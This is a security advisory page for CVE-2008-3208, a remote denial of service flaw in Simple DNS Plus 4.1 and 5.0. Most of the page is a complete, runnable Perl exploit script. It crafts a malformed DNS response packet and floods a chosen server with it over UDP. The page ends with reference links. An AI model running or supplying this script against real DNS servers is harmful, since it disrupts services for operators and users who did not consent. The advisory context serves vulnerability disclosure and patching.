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Details : SecurityAlert

  Topic : Simple DNS Plus <= 5.0/4.1 Remote Denial of Service Exploit
  SecurityAlert : 4011
  CVE : CVE-2008-3208
  CWE : NVD-CWE-noinfo
  SecurityRisk : Medium  alert  (About)
  Remote Exploit : Yes
  Local Exploit : No
  Victim interaction required : No
  Exploit Given : Yes
  Credit : Exodus
  Published : 20.07.2008

  Affected Software : Simpledns, Simple_dns_plus, 4.1
Simpledns, Simple_dns_plus, 5.0
Simpledns, Simple_dns_plus, 5.1.101, and previous



  Advisory Text :  

#!/usr/bin/perl
# Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
#
# usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
# Exploit written by Exodus.
# http://www.blackhat.org.il

use IO::Socket;

if(@ARGV < 3){
print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
}
$sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto =>
'UDP') || die("Cant connect DNS server");



$address = $ARGV[0];

$trans = pack("H4","1337");
$flags = pack("B16","1000010110110000");
$question = pack("H4","0001");
$answerRR = pack("H4","0001");
$authorityRR = pack("H4","0000");
$additionlRR = pack("H4","0000");
$type = pack("H4","0001"); # A host name
$class = pack("H4","0001"); # IN

@parts = split(/\./,$address);
foreach $part (@parts)
{
$packedlen = pack("H2",sprintf("%02x",length($part)));
$address2 .= $packedlen.$part;
}
$query = $address2. "\000" . $type . $class;

$aname = pack("H4","c00c");
$atype = pack("H4","0001");
$aclass = pack("H4","0001");
$ttl = pack("H8","0000008d");
$dlen = pack("H4","0004");
$addr = inet_aton("127.0.0.1");
$answer = $aname . $atype . $aclass . $ttl . $dlen . $addr;

$payload = $trans . $flags . $question . $answerRR
. $authorityRR . $additionlRR . $query . $answer;

print "sending $ARGV[2] packetsā&#65533;&#166; ";
for($i=0;$i<=$ARGV[2];$i++)
{
print $sock $payload;
}
print "Done. Good bye.";
__END__



  References :

http://xforce.iss.net/xforce/xfdb/43767
http://www.simpledns.com/kb.aspx?kbid=1246
http://www.securityfocus.com/bid/30207
http://www.securityfocus.com/archive/1/archive/1/494304/100/0/threaded
http://www.milw0rm.com/exploits/6059
http://www.blackhat.org.il/index.php/simple-dns-plus-5041-remote-denial-of-
service-exploit/



  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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